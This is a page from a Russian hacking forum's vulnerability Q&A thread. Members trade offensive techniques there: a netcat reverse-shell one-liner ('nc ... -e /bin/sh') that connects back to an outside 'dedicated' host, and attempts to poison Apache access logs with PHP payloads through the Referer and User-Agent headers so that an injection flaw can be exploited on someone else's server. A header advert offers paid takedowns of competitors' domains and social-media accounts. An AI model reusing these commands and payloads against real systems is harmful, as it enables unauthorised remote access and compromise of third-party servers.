Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 612 из 2422

612

Опции темы

Поиск в этой теме

Опции просмотра

25.03.2009, 18:43

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

биндишь порт - не факт что приконектишься
для бекконекта неткатом
nc -v www.adres_deda.com -e /bin/sh &
на деде nc -l -p
помоему так

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

25.03.2009, 20:56

Ershik

Постоянный

Регистрация: 07.11.2007

Сообщений: 392

С нами: 9741777

Репутация: 100

Есть php-иньекция.
пытаюсь записать в http-access.log строчку <?php 'phpinfo';?> через refererr
Записалось успешно. Но ничего не отображает.
Если открыть исходник страницы, вылезет та самая строчка.
ОСь -freebsd 6.2

В чем проблема?

25.03.2009, 20:58

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

Цитата:

Сообщение от Ershik

если я не ошибаюсь, phpinfo надо без кавычек писать

25.03.2009, 21:02

.Slip

Leaders of Antichat - Level 4

Регистрация: 16.01.2006

Сообщений: 1,966

С нами: 10692266

Репутация: 3486

Цитата:

Сообщение от Ershik

<?php phpinfo()?>
МБ?

__________________
..

25.03.2009, 21:12

Ershik

Постоянный

Регистрация: 07.11.2007

Сообщений: 392

С нами: 9741777

Репутация: 100

Вбил <?php phpinfo()?> - тоже самое

Цитата:

Host:***
User-Agent: <?
phpinfo();
?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <?php phpinfo()?>

В логах:

Цитата:

7******** - - [25/Mar/2009:20:10:09 +0300] "GET /smi4.shtml HTTP/1.1" 404 224 "" "

25.03.2009, 21:15

.Slip

Leaders of Antichat - Level 4

Регистрация: 16.01.2006

Сообщений: 1,966

С нами: 10692266

Репутация: 3486

GET host <?php phpinfo() ?>

error_log

__________________
..

25.03.2009, 21:28

Ershik

Постоянный

Регистрация: 07.11.2007

Сообщений: 392

С нами: 9741777

Репутация: 100

попробовал.
Написал:

Цитата:

Wed Mar 25 20:24:20 2009] [error] [client ] script '/home//htdocs/index.php' not found or unable to stat

26.03.2009, 05:06

.Slip

Leaders of Antichat - Level 4

Регистрация: 16.01.2006

Сообщений: 1,966

С нами: 10692266

Репутация: 3486

Инклудь тогда аццесс лог, но что то мне кажется что там у тебя не инклуд а читалка

__________________
..

26.03.2009, 06:14

Ershik

Постоянный

Регистрация: 07.11.2007

Сообщений: 392

С нами: 9741777

Репутация: 100

Таки да, читать файлы я могу.
Там есть чат на файловой БД, внес туда строчку <?php echo 'hello'; ?>(для теста) - попробовал проинклудить - тот же результат.
То ли система, то ли еще что-то на корню режет php строки.

#10

26.03.2009, 07:08

PaCo

Постоянный

Регистрация: 06.02.2008

Сообщений: 494

С нами: 9610769

Репутация: 380

Цитата:

Сообщение от Ershik

То ли система, то ли еще что-то на корню режет php строки.

Как верно подметил .Slip это скорее всего читалка файлов(то есть файлы не include а например fopen,file_get_contents и т.п. и выводяться в браузер), и ничего не режеться(ну и strip_tags там вот в добавок и теги не видешь с пхп).

Последний раз редактировалось PaCo; 26.03.2009 в 07:10..

Страница 612 из 2422

612

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57